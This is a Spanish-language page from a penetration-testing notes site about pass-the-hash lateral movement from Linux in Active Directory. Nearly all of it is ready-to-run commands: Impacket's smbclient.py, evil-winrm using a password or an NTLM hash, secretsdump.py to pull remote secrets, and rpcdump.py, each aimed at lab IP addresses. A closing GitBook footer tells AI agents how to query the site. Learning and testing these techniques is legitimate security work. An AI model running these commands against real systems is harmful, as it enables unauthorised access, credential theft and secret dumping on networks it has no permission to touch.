> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/pass-the-hash-on-linux.md).

# Pass-the-Hash en Linux

Desde Linux podemos hacer lo mismo con las herramientas de Impacket.

```bash
smbclient.py whoami.local/administrador@172.16.0.100 -hashes :a87f3a337d73085c45f9416be5787d86

usar c$
```

<figure><img src="/files/d5a9235078b4868c9c6090369c40a45d7fbf9b17" alt=""><figcaption></figcaption></figure>

Para acceso remoto mediante WinRM también podemos usar `evil-winrm`.

```bash
evil-winrm -i 172.16.0.10 -u Administrador -p Password
```

<figure><img src="/files/4dcab66f85878654eb3e88deecef4d818b97cb92" alt=""><figcaption></figcaption></figure>

La misma conexión se puede hacer directamente con el hash.

```bash
evil-winrm -i 172.16.0.100 -u Administrador -H a87f3a337d73085c45f9416be5787d86
```

Para extraer secretos de forma remota, podemos usar `secretsdump.py`.

```bash
secretsdump.py administrador@172.16.0.100 -hashes :a87f3a337d73085c45f9416be5787d86
```

<figure><img src="/files/db43328c2ad4ea623efbedaec6cbd764133af2c2" alt=""><figcaption></figcaption></figure>

También podemos consultar servicios RPC con `rpcdump.py`.

```bash
rpcdump.py -hashes 000000000000000000000000:a87f3a337d73085c45f9416be5787d86 -port 135 whoami/administrador@172.16.0.100
```

<figure><img src="/files/252dabe1b381f9ed3ed5932cdea63443d9afbf57" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/pass-the-hash-on-linux.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
